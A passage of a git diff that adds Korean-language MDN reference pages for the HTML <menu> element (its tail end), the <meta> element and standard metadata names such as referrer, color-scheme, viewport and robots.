+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>This attribute indicates the kind of menu being declared, and can be one of two values.
+ <ul>
+  <li><code>context</code>: The <em>context menu</em> state, which represents a group of commands activated through another element. This might be through the {{htmlattrxref("menu", "button")}} attribute of a {{HTMLElement("button")}}, or an element with a <a href="/en-US/docs/HTML/Global_attributes#attr-contextmenu"><code>contextmenu</code></a> attribute. When nesting {{HTMLElement("menu")}} elements directly within one another, this is the missing value default if the parent is already in this state.</li>
+  <li><code>list</code>: The <em>list menu</em> state, which represents a series of commands for user interaction. This is the missing value default, except where the parent element is a {{HTMLElement("menu")}} in the <em>context menu</em> state.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Example_1">Example 1</h3>
+
+<pre class="brush: html">&lt;!-- A button, which displays a menu when clicked. --&gt;
+&lt;button type="menu" menu="dropdown-menu"&gt;
+  Dropdown
+&lt;/button&gt;
+
+&lt;menu type="context" id="dropdown-menu"&gt;
+  &lt;menuitem label="Action"&gt;
+  &lt;menuitem label="Another action"&gt;
+  &lt;hr&gt;
+  &lt;menuitem label="Separated action"&gt;
+&lt;/menu&gt;
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample('Example_1')}}</p>
+
+<h3 id="Example_2">Example 2</h3>
+
+<pre class="brush: html">&lt;!-- A context menu for a simple editor, containing two menu buttons. --&gt;
+&lt;menu&gt;
+  &lt;li&gt;
+    &lt;button type="menu" value="File" menu="file-menu"&gt;
+    &lt;menu type="context" id="file-menu"&gt;
+      &lt;menuitem label="New..." onclick="newFile()"&gt;
+      &lt;menuitem label="Save..." onclick="saveFile()"&gt;
+    &lt;/menu&gt;
+  &lt;/li&gt;
+  &lt;li&gt;
+    &lt;button type="menu" value="Edit" menu="edit-menu"&gt;
+    &lt;menu type="context" id="edit-menu"&gt;
+      &lt;menuitem label="Cut..." onclick="cutEdit()"&gt;
+      &lt;menuitem label="Copy..." onclick="copyEdit()"&gt;
+      &lt;menuitem label="Paste..." onclick="pasteEdit()"&gt;
+    &lt;/menu&gt;
+  &lt;/li&gt;
+&lt;/menu&gt;
+</pre>
+
+<h3 id="Result_2">Result</h3>
+
+<p>{{EmbedLiveSample('Example_2')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'interactive-elements.html#the-menu-element', '&lt;menu&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'interactive-elements.html#the-menu-element', '&lt;menu&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("html.elements.menu")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>Other list-related HTML Elements: {{HTMLElement("ol")}}, {{HTMLElement("ul")}}, {{HTMLElement("li")}} and the obsolete {{HTMLElement("dir")}}.</li>
+ <li>The <a href="/en-US/docs/HTML/Global_attributes#attr-contextmenu"><code>contextmenu</code></a> <a href="/en-US/docs/HTML/Global_attributes">global attribute</a> can be used on an element to refer to the <code>id</code> of a <code>menu</code> with the <code>context</code> {{htmlattrxref("type","menu")}}.</li>
+</ul>
diff --git a/files/ko/web/html/element/meta/index.html b/files/ko/web/html/element/meta/index.html
new file mode 100644
index 0000000000..3454e4d866
--- /dev/null
+++ b/files/ko/web/html/element/meta/index.html
@@ -0,0 +1,151 @@
+---
+title: '<meta>: 문서 레벨 메타데이터 요소'
+slug: Web/HTML/Element/meta
+tags:
+  - Element
+  - HTML
+  - HTML document metadata
+  - Reference
+  - Web
+  - metadata
+translation_of: Web/HTML/Element/meta
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;meta&gt;</code> 요소</strong>는 {{HTMLElement("base")}}, {{HTMLElement("link")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, {{HTMLElement("title")}}과 같은 다른 메타관련 요소로 나타낼 수 없는 {{glossary("Metadata", "메타데이터")}}를 나타냅니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+   <td>메타데이터 콘텐츠. <code><a href="/ko/docs/Web/HTML/Global_attributes/itemprop">itemprop</a></code>이 존재하면 <a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a> 및 <a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th>가능한 콘텐츠</th>
+   <td>없음. {{Glossary("empty element", "빈 요소")}}입니다.</td>
+  </tr>
+  <tr>
+   <th>태그 생략</th>
+   <td>빈 요소이므로 여는 태그는 존재해야 하고 닫는 태그는 존재해선 안됩니다.</td>
+  </tr>
+  <tr>
+   <th>가능한 부모 요소</th>
+   <td><code>&lt;meta charset&gt;</code>, <code>&lt;meta http-equiv&gt;</code>인 경우 {{htmlelement("head")}} 요소. {{htmlattrxref("http-equiv", "meta")}}가 인코딩 선언이 아닌 경우 <code>&lt;head&gt;</code> 내의 {{htmlelement("noscript")}} 요소도 가능합니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">암시적 ARIA 역할</th>
+   <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">대응하는 역할 없음</a></td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>없음</td>
+  </tr>
+  <tr>
+   <th>DOM 인터페이스</th>
+   <td>{{domxref("HTMLMetaElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><code>meta</code> 요소가 제공하는 메타데이터는 다음 네 유형 중 하나입니다.</p>
+
+<ul>
+ <li>{{htmlattrxref("name", "meta")}} 특성을 지정하면 전체 페이지에 적용되는 "문서 레벨 메타데이터"를 제공합니다.</li>
+ <li>{{htmlattrxref("http-equiv", "meta")}} 특성을 지정하면 유사한 이름의 HTTP 헤더가 제공하는 정보와 동일한 "프래그마 지시문"이 됩니다.</li>
+ <li>{{htmlattrxref("charset", "meta")}} 특성을 지정하면 문서 인코딩에 사용한 문자 인코딩을 나타내는 "문자 집합 선언"이 됩니다.</li>
+ <li>{{htmlattrxref("itemprop")}} 특성을 지정하면 "사용자 정의 메타데이터"를 제공합니다.</li>
+</ul>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes" title="HTML/Global attributes">전역 특성</a>을 포함합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> {{htmlattrxref("name", "meta")}} 특성은 <code>&lt;meta&gt;</code> 요소에 대해 특정한 의미를 가집니다. 하나의 <code>&lt;meta&gt;</code> 요소에서, {{htmlattrxref("itemprop", "meta")}} 특성을 {{htmlattrxref("name", "meta")}}, {{htmlattrxref("http-equiv", "meta")}} 또는 {{htmlattrxref("charset", "meta")}} 특성과 함께 설정할 수 없습니다.</p>
+</div>
+
+<dl>
+ <dt>{{htmlattrdef("charset")}}</dt>
+ <dd>페이지의 문자 인코딩을 선언합니다. 이 특성이 존재할 경우, 그 값은 반드시 문자열 "<code>utf-8</code>"의 대소문자 구분 없는 {{glossary("ASCII")}} 표현이어야 합니다.</dd>
+ <dt>{{htmlattrdef("content")}}</dt>
+ <dd>{{htmlattrxref("http-equiv", "meta")}} 또는 {{htmlattrxref("name", "meta")}} 특성의 값을 담습니다.</dd>
+ <dt>{{htmlattrdef("http-equiv")}}</dt>
+ <dd>
+ <p>프래그마 지시문을 정의합니다. 특성의 이름(<code><strong>http-equiv</strong>(alent)</code>)에서 알 수 있듯이, 가능한 값은 특정 HTTP 헤더입니다.</p>
+
+ <ul>
+  <li><code>content-security-policy</code>
+
+   <p>현재 페이지의 <a href="/ko/docs/Web/HTTP/Headers/Content-Security-Policy">콘텐츠 정책</a>을 정의할 수 있습니다. 대부분의 콘텐츠 정책은 허용하는 서버 출처와 스크립트 엔드포인트를 지정해 사이트 간 스크립트 공격 방어에 도움을 줍니다.</p>
+  </li>
+  <li><code>content-type</code>
+   <p>지정할 경우, <code>content</code> 특성의 값은 반드시 "<code>text/html; charset=utf-8</code>"이어야 합니다. <strong>참고:</strong> <code>text/html</code> <a href="/ko/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME 유형</a>으로 제공하는 문서에서만 사용할 수 있으며, XML MIME 유형의 문서에서는 사용할 수 없습니다.</p>
+  </li>
+  <li><code>default-style</code>
+   <p>기본 <a href="/ko/docs/Web/CSS">CSS 스타일 시트</a> 세트의 이름을 지정합니다.</p>
+  </li>
+  <li><code>x-ua-compatible</code>
+   <p>지정할 경우, <code>content</code> 특성의 값은 반드시 "<code>IE=edge</code>"여야 합니다. 사용자 에이전트는 이 프래그마를 무시해야 합니다.</p>
+  </li>
+  <li><code>refresh</code>
+   <div>다음을 지정합니다.</div>
+
+   <ul>
+    <li>{{htmlattrxref("content", "meta")}} 특성에 양의 정수 값을 설정한 경우, 페이지를 다시 불러오기 전까지의 초 단위 대기시간.</li>
+    <li>{{htmlattrxref("content", "meta")}} 특성이 양의 정수 값을 가지고 그 뒤를 문자열 <code>;url=</code>과 유효한 URL이 뒤따른다면, 해당 URL로 이동하기 전까지의 초 단위 대기시간.</li>
+   </ul>
+
+   <h5 id="접근성_고려사항">접근성 고려사항</h5>
+
+   <div><code>refresh</code> 값을 지정한 페이지의 경우 새로고침 사이 간격이 너무 짧을 우려가 있습니다. 스크린 리더 등의 보조 기술로 탐색하는 사용자는 자동 새로고침 이전에 페이지의 내용을 읽고 이해하지 못할 수 있습니다. 또한 저시력 사용자에게 있어, 갑작스럽고 사전 안내도 없는 콘텐츠 업데이트는 어지러울 수 있습니다.</div>
+
+   <ul>
+    <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.2_—_Enough_Time_Provide_users_enough_time_to_read_and_use_content">MDN Understanding WCAG, Guideline 2.1 explanations</a></li>
+    <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Understandable#Guideline_3.2_—_Predictable_Make_Web_pages_appear_and_operate_in_predictable_ways">MDN Understanding WCAG, Guideline 3.1 explanations</a></li>
+    <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/time-limits-required-behaviors.html">Understanding Success Criterion 2.2.1 | W3C Understanding WCAG 2.0</a></li>
+    <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/time-limits-postponed.html">Understanding Success Criterion 2.2.4 | W3C Understanding WCAG 2.0</a></li>
+    <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/consistent-behavior-no-extreme-changes-context.html">Understanding Success Criterion 3.2.5 | W3C Understanding WCAG 2.0</a></li>
+   </ul>
+  </li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>
+ <p><code>name</code>과 <code>content</code> 특성을 함께 사용하면 문서의 메타데이터를 이름-값 쌍으로 제공할 수 있습니다. <code>name</code>은 이름, <code>content</code>는 값을 담당합니다.</p>
+
+ <p><a href="/ko/docs/Web/HTML/Element/meta/name">표준 메타데이터 이름</a> 문서에서 HTML 명세에 포함된 표준 메타데이터 목록을 살펴보세요.</p>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html notranslate">&lt;meta charset="utf-8"&gt;
+
+&lt;!-- 3초 후 리다이렉트 --&gt;
+&lt;meta http-equiv="refresh" content="3;url=https://www.mozilla.org"&gt;
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-meta-element', '&lt;meta&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Added <code>itemprop</code> attribute</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<div>{{Compat("html.elements.meta")}}</div>
diff --git a/files/ko/web/html/element/meta/name/index.html b/files/ko/web/html/element/meta/name/index.html
new file mode 100644
index 0000000000..76333202b1
--- /dev/null
+++ b/files/ko/web/html/element/meta/name/index.html
@@ -0,0 +1,312 @@
+---
+title: 표준 메타데이터 이름
+slug: Web/HTML/Element/meta/name
+tags:
+  - Attribute
+  - HTML
+  - HTML document metadata
+  - Reference
+  - metadata
+  - 메타데이터
+translation_of: Web/HTML/Element/meta/name
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">{{htmlelement("meta")}} 요소는 {{htmlattrxref("name", "meta")}} 특성을 메타데이터 이름으로, {{htmlattrxref("content", "meta")}} 특성을 값으로 하여 문서 메타데이터를 이름-값 쌍의 형태로 제공할 때 사용할 수 있습니다.</span></p>
+
+<h3 id="HTML_명세가_정의하는_표준_메타데이터_이름">HTML 명세가 정의하는 표준 메타데이터 이름</h3>
+
+<p>HTML 명세는 다음과 같은 표준 메타데이터 이름을 정의하고 있습니다.</p>
+
+<ul>
+ <li>
+  <p><code>application-name</code>: 웹 페이지에서 구동 중인 애플리케이션의 이름.</p>
+
+  <div class="note"><strong>참고:</strong>
+
+  <ul>
+   <li>브라우저가 이 값을 사용해 애플리케이션을 식별할 수 있습니다. {{htmlelement("title")}} 요소 역시 보통 애플리케이션 이름을 포함하지만, <code>application-name</code>과는 달리 문서 이름이나 상태 등 다른 정보도 존재할 수 있다는 점에서 차이가 있습니다.</li>
+   <li>단순한 웹 페이지에서는 <code>application-name</code>을 지정하지 말아야 합니다.</li>
+  </ul>
+  </div>
+ </li>
+ <li><code>author</code>: 문서 저작자.</li>
+ <li><code>description</code>: 페이지에 대한 짧고 정확한 요약. Firefox, Opera 등 여러 브라우저는 즐겨찾기 페이지의 기본 설명 값으로 <code>description</code> 메타데이터를 사용합니다.</li>
+ <li><code>generator</code>: 페이지를 생성한 소프트웨어의 식별자.</li>
+ <li><code>keywords</code>: 페이지의 콘텐츠와 관련된, 쉼표로 구분한 키워드 목록.</li>
+ <li><code>referrer</code>: 문서에서 시작하는 요청의 HTTP {{httpheader("Referer")}} 헤더를 아래 표와 같이 통제합니다.
+  <table class="standard-table">
+   <caption><code>&lt;meta name="referrer"&gt;</code> 특성에 대한 <code>content</code> 특성의 값</caption>
+   <tbody>
+    <tr>
+     <td><code>no-referrer</code></td>
+     <td>HTTP {{httpheader("Referer")}} 헤더를 전송하지 않습니다.</td>
+    </tr>
+    <tr>
+     <td><code>origin</code></td>
+     <td>문서의 {{glossary("origin", "출처")}}를 전송합니다.</td>
+    </tr>
+    <tr>
+     <td><code>no-referrer-when-downgrade</code></td>
+     <td>목적지가 현재 문서와 동일하거나 더 높은(HTTP(S)→HTTPS) 보안 수준을 가진 경우 전체 URL을 전송하고, 더 취약(HTTPS→HTTP)한 경우 전송하지 않습니다. 기본 동작 방식입니다.</td>
+    </tr>
+    <tr>
+     <td><code>origin-when-cross-origin</code></td>
+     <td>동일 출처 요청에는 매개변수를 제거한 전체 URL을 전송합니다. 교차 출처 요청에는 출처만 전송합니다.</td>
+    </tr>
+    <tr>
+     <td><code>same-origin</code></td>
+     <td>동일 출처 요청에는 매개변수를 제거한 전체 URL을 전송합니다. 교차 출처 요청에는 아무 레퍼러 정보도 보내지 않습니다.</td>
+    </tr>
+    <tr>
+     <td><code>strict-origin</code></td>
+     <td>목적지가 현재 문서와 동일하거나 더 높은(HTTP(S)→HTTPS) 보안 수준을 가진 경우 출처를 전송하고, 더 취약(HTTPS→HTTP)한 경우 전송하지 않습니다.</td>
+    </tr>
+    <tr>
+     <td><code>strict-origin-when-cross-origin</code></td>
+     <td>동일 출처 요청에는 매개변수를 제거한 전체 URL을 전송합니다. 목적지가 현재 문서와 동일하거나 더 높은 보안 수준(HTTP(S)→HTTPS)을 가진 경우 자신의 출처를 전송합니다. 그 외의 경우 아무 레퍼러 정보도 보내지 않습니다.</td>
+    </tr>
+    <tr>
+     <td><code>unsafe-URL</code></td>
+     <td>동일 출처와 교차 출처 요청 모두에 대해서 전체 URL을 전송합니다.</td>
+    </tr>
+   </tbody>
+  </table>
+
+  <div class="note"><strong>참고:</strong>
+
+  <ul>
+   <li><code>&lt;meta name="referrer"&gt;</code>의 값을 {{domxref("Document.write", "document.write()")}} 또는 {{domxref("Node.appendChild", "appendChild()")}}를 사용해 동적으로 삽입할 경우 레퍼러 동작을 예측할 수 없습니다.</li>
+   <li>여러 정책이 서로 충돌할 경우에는 <code>no-referrer</code> 정책을 사용합니다.</li>
+  </ul>
+  </div>
+ </li>
+ <li><code><a href="/ko/docs/Web/HTML/Element/meta/name/theme-color">theme-color</a></code>: 사용자 에이전트가 페이지 혹은 주위의 사용자 인터페이스를 표시할 때 사용해야 할 색상에 대한 힌트. <code>content</code> 특성은 유효한 CSS {{cssxref("&lt;color&gt;")}} 색상을 포함해야 합니다.</li>
+</ul>
+
+<h3 id="다른_명세가_정의하는_표준_메타데이터_이름">다른 명세가 정의하는 표준 메타데이터 이름</h3>
+
+<p>CSS Color Adjustment 명세는 다음과 같은 메타데이터 이름을 정의합니다.</p>
+
+<ul>
+ <li>
+  <p><code>color-scheme</code>: 문서와 호환되는 하나 이상의 색채 조합.</p>
+
+  <p>브라우저는 이 정보에 더해 자신과 장치의 사용자 설정을 함께 사용해 배경, 전경, 양식 컨트롤, 스크롤 바 등 대부분의 색상을 결정합니다. <code>&lt;meta name="color-scheme"&gt;</code>의 주 용도는 문서의 "다크 모드"와 "라이트 모드"중 호환 가능한 조합 및 둘 중 선호하는 쪽을 나타내는 것입니다.</p>
+
+  <p><code>color-scheme</code>과 사용 가능한 {{htmlattrxref("content", "meta")}} 특성의 값은 다음과 같습니다.</p>
+
+  <dl>
+   <dt><code>normal</code></dt>
+   <dd>문서가 특별한 색채 조합을 알지 못합니다. 렌더링 시 기본 색상 팔레트를 사용해야 합니다.</dd>
+   <dt>[<code>light</code> | <code>dark</code>]+</dt>
+   <dd>문서와 호환되는 하나 이상의 색채 조합. 동일한 색채 조합을 여러 번 지정하더라도 한 번 지정한 것과 다르지 않습니다. 여러 색채 조합을 명시하는 경우 문서는 맨 앞 항목을 선호하지만, 사용자가 원할 경우 다른 조합도 사용할 수 있음을 나타냅니다.</dd>
+   <dt><code>only light</code></dt>
+   <dd>문서가 오직 라이트 모드, 즉 밝은 배경과 어두운 전경색만 지원함을 나타냅니다. 명세에 따라 <code>only dark</code>는 유효하지 않습니다. 완전히 호환되지 않음에도 불구하고 문서를 다크 모드로만 렌더링 할 경우 콘텐츠를 읽을 수 없기 때문입니다. 지정하지 않은 경우, 모든 주요 브라우저는 라이트 모드를 기본값으로 사용합니다.</dd>
+  </dl>
+
+  <p>예를 들어, 문서가 다크 모드를 선호하나 라이트 모드도 지원 가능하다는 것을 알리려면 다음과 같이 작성하세요.</p>
+
+  <pre class="brush: html notranslate">&lt;meta name="color-scheme" content="dark light"&gt;</pre>
+
+  <p><code>name="color-scheme"</code>은 문서 전체의 선호 및 가능한 색채 조합을 지정한다면, CSS {{cssxref("color-scheme")}} 속성은 개별 요소 단위로 지정합니다. CSS {{cssxref("@media/prefers-color-scheme", "prefers-color-scheme")}} 미디어 기능을 사용하면 스타일이 현재 색채 조합에 적응하도록 작성할 수도 있습니다.</p>
+ </li>
+</ul>
+
+<p>CSS Device Adaptation 명세는 다음과 같은 메타데이터 이름을 정의합니다.</p>
+
+<ul>
+ <li>
+  <p><code>viewport</code>: {{glossary("viewport", "뷰포트")}}의 초기 사이즈에 대한 힌트. 모바일 장치에서만 사용합니다.</p>
+
+  <table class="fullwidth-table">
+   <caption><code>&lt;meta name="viewport"&gt;</code>의 값</caption>
+   <thead>
+    <tr>
+     <th scope="col">값</th>
+     <th scope="col">가능한 하위 값</th>
+     <th scope="col">설명</th>
+    </tr>
+   </thead>
+   <tbody>
+    <tr>
+     <td><code>width</code></td>
+     <td>양의 정수 또는 <code>device-width</code></td>
+     <td>웹 사이트를 렌더링 하고자 하는 뷰포트 너비를 정의합니다.</td>
+    </tr>
+    <tr>
+     <td><code>height</code></td>
+     <td>양의 정수 또는 <code>device-height</code></td>
+     <td>웹 사이트를 렌더링 하고자 하는 뷰포트 높이를 정의합니다.</td>
+    </tr>
+    <tr>
+     <td><code>initial-scale</code></td>
+     <td><code>0.0</code>과 <code>10.0</code> 사이의 수</td>
+     <td>장치 너비(세로 모드에서는 <code>device-width</code>, 가로 모드에서는 <code>device-height</code>)와 뷰포트 너비의 비율을 정의합니다.</td>
+    </tr>
+    <tr>
+     <td><code>maximum-scale</code></td>
+     <td><code>0.0</code>과 <code>10.0</code> 사이의 수</td>
+     <td>가능한 최대 확대 비율을 정의합니다. <code>minimum-scale</code> 이상이어야 하며, 미만으로 지정한 경우의 동작은 정의되지 않았습니다. 브라우저 설정에 따라 무시할 수 있고, iOS10 이상은 기본값으로 무시합니다.</td>
+    </tr>
+    <tr>
+     <td><code>minimum-scale</code></td>
+     <td><code>0.0</code>과 <code>10.0</code> 사이의 수</td>
+     <td>가능한 최소 확대 비율을 정의합니다. <code>maximum-scale</code> 이하여야 하며, 초과한 값을 지정한 경우의 동작은 정의되지 않았습니다. 브라우저 설정에 따라 무시할 수 있고, iOS10 이상은 기본값으로 무시합니다.</td>
+    </tr>
+    <tr>
+     <td><code>user-scalable</code></td>
+     <td><code>yes</code> 또는 <code>no</code></td>
+     <td><code>no</code>인 경우 사용자가 웹 페이지를 확대할 수 없습니다. 기본값은 <code>yes</code>입니다. 브라우저 설정에 따라 무시할 수 있고, iOS10 이상은 기본값으로 무시합니다.</td>
+    </tr>
+    <tr>
+     <td><code>viewport-fit</code></td>
+     <td><code>auto</code>, <code>contain</code>, <code>cover</code></td>
+     <td>
+      <p><code>auto</code> 값은 초기 뷰포트 레이아웃에 영향을 주지 않으며, 전체 웹 페이지를 볼 수 있습니다.</p>
+
+      <p><code>contain</code> 값은 디스플레이 내에 맞출 수 있는 가장 큰 사각형에 맞춰 뷰포트의 크기를 조절합니다.</p>
+
+      <p><code>cover</code> 값은 뷰포트의 크기를 조절해 디스플레이 전체를 채웁니다. <a href="/ko/docs/Web/CSS/env">안전 영역</a> 환경 변수를 사용해 중요한 콘텐츠가 화면 밖에 놓이는 불상사가 없도록 하는 것이 좋습니다.</p>
+     </td>
+    </tr>
+   </tbody>
+  </table>
+
+  <div class="note"><strong>참고:</strong>
+
+  <ul>
+   <li>비록 표준은 아니지만, <code>viewport</code>의 사실상 표준적인 위치로 인해 대부분의 모바일 브라우저가 선언을 준수합니다.</li>
+   <li>장치와 브라우저마다 기본값이 다를 수 있습니다.</li>
+  </ul>
+  </div>
+
+  <h5 id="Accessibility_concerns_with_viewport_scaling">Accessibility concerns with viewport scaling</h5>
+
+  <div><code>user-scalable</code>을 <code>no</code>로 지정해 확대 기능을 비활성화하면 저시력 사용자가 페이지의 내용을 읽고 이해하는 것을 방해합니다.</div>
+
+  <ul>
+   <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+   <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-scale.html">Understanding Success Criterion 1.4.4 | W3C Understanding WCAG 2.0</a></li>
+  </ul>
+
+  <h5 id="같이_보기">같이 보기</h5>
+
+  <p>CSS {{cssxref("@viewport")}} @-규칙</p>
+ </li>
+</ul>
+
+<h3 id="다른_메타데이터_이름">다른 메타데이터 이름</h3>
+
+<p><a class="external" href="https://wiki.whatwg.org/wiki/MetaExtensions">WHATWG Wiki MetaExtensions 페이지</a>는 거대한 수의 비표준 메타데이터 목록을 포함합니다. 그러나 다음 메타데이터 이름을 포함한 일부 항목은 실제로도 꽤 자주 사용하고 있습니다.</p>
+
+<ul>
+ <li><code>creator</code>: 단체, 협회 등 문서 저작자의 이름. 다수의 저작자가 존재할 경우 다수의 {{HTMLElement("meta")}} 요소를 사용해야 합니다.</li>
+ <li><code>googlebot</code>은 <code>robots</code>의 동의어로, Googlebot(Google의 색인 크롤러)만 준수합니다..</li>
+ <li><code>publisher</code>: 문서를 출판한 자의 이름.</li>
+ <li><code>robots</code>: 협조적인 크롤러, 또는 "로봇"의 동작을 지정합니다. 아래 표의 항목을 쉼표로 구분한 목록을 값으로 사용합니다
+  <table class="standard-table">
+   <caption><code>&lt;meta name="robots"&gt;</code>의 값</caption>
+   <thead>
+    <tr>
+     <th scope="col">값</th>
+     <th scope="col">설명</th>
+     <th scope="col">사용처</th>
+    </tr>
+   </thead>
+   <tbody>
+    <tr>
+     <td><code>index</code></td>
+     <td>크롤러가 페이지를 색인할 수 있습니다. (기본값)</td>
+     <td>모두</td>
+    </tr>
+    <tr>
+     <td><code>noindex</code></td>
+     <td>크롤러가 페이지를 색인하지 않도록 요청합니다.</td>
+     <td>모두</td>
+    </tr>
+    <tr>
+     <td><code>follow</code></td>
+     <td>크롤러가 페이지 내의 링크를 따라갈 수 있습니다. (기본값)</td>
+     <td>모두</td>
+    </tr>
+    <tr>
+     <td><code>nofollow</code></td>
+     <td>크롤러가 페이지 내의 링크를 따라가지 않도록 요청합니다.</td>
+     <td>모두</td>
+    </tr>
+    <tr>
+     <td><code>all</code></td>
+     <td><code>index, follow</code>와 동일합니다.</td>
+     <td><a class="external" href="https://support.google.com/webmasters/answer/79812">Google</a></td>
+    </tr>
+    <tr>
+     <td><code>none</code></td>
+     <td><code>noindex, nofollow</code>와 동일합니다.</td>
+     <td><a class="external" href="https://support.google.com/webmasters/answer/79812">Google</a></td>
+    </tr>
+    <tr>
+     <td><code>noarchive</code></td>
+     <td>크롤러가 페이지를 캐시에 포함하지 않도록 요청합니다.</td>
+     <td><a class="external" href="https://developers.google.com/webmasters/control-crawl-index/docs/robots_meta_tag#valid-indexing--serving-directives">Google</a>, <a class="external" href="https://www.bing.com/webmaster/help/which-robots-metatags-does-bing-support-5198d240">Bing</a></td>
+    </tr>
+    <tr>
+     <td><code>nosnippet</code></td>
+     <td>검색 엔진 결과에 어떤 설명도 표시하지 않도록 지정합니다.</td>
+     <td><a class="external" href="https://developers.google.com/webmasters/control-crawl-index/docs/robots_meta_tag#valid-indexing--serving-directives">Google</a>, <a class="external" href="https://www.bing.com/webmaster/help/which-robots-metatags-does-bing-support-5198d240">Bing</a></td>
+    </tr>
+    <tr>
+     <td><code>noimageindex</code></td>
+     <td>크롤러가 페이지 이미지를 색인하지 않도록 요청합니다.</td>
+     <td><a class="external" href="https://developers.google.com/webmasters/control-crawl-index/docs/robots_meta_tag#valid-indexing--serving-directives">Google</a></td>
+    </tr>
+    <tr>
+     <td><code>nocache</code></td>
+     <td><code>noarchive</code>와 동일합니다.</td>
+     <td><a class="external" href="https://www.bing.com/webmaster/help/which-robots-metatags-does-bing-support-5198d240">Bing</a></td>
+    </tr>
+   </tbody>
+  </table>
+
+  <div class="note"><strong>참고:</strong>
+
+  <ul>
+   <li>협조적인 크롤러만 규칙을 존중합니다. 이메일 주소 수집기가 요청을 따를 것이라고 기대하지 마세요.</li>
+   <li>메타 태그의 규칙을 읽기 위해선 크롤러가 페이지에 접근을 하긴 해야 합니다. 대역폭을 아끼려면 {{glossary("robots.txt")}}를 사용하세요.</li>
+   <li>이미 등록된 페이지를 검색 결과에서 제거할 수단으로 <code>noindex</code>를 사용하는 것도 가능하지만, 수정 후 크롤러가 페이지에 재방문해야만 반영되므로 <code>robots.txt</code> 파일이 방문을 방지하고 있지는 않은지 확인하세요.</li>
+   <li><code>index</code>와 <code>noindex</code>, <code>follow</code>와 <code>nofollow</code>처럼 특정 값은 서로 배타적입니다. 그러나 같은 페이지에서 동시에 사용한 경우 크롤러의 행동은 정의되지 않았으며 둘 중 어느 것이라도 취할 수 있습니다.</li>
+   <li>Google과 Bing 등 일부 크롤러는 위의 값을 HTTP <code>X-Robot-Tags</code> 헤더에 추가해도 인식하므로, 이미지처럼 HTML이 아닌 문서에서도 동일한 설정을 적용할 수 있습니다.</li>
+  </ul>
+  </div>
+ </li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#standard-metadata-names', 'standard metadata names')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS Color Adjust', '#color-scheme-meta', 'the "color-scheme" metadata name')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Device', '#viewport-meta', 'the "viewport" metadata name')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-meta', 'the "referrer" metadata name')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("html.elements.meta.name")}}</p>
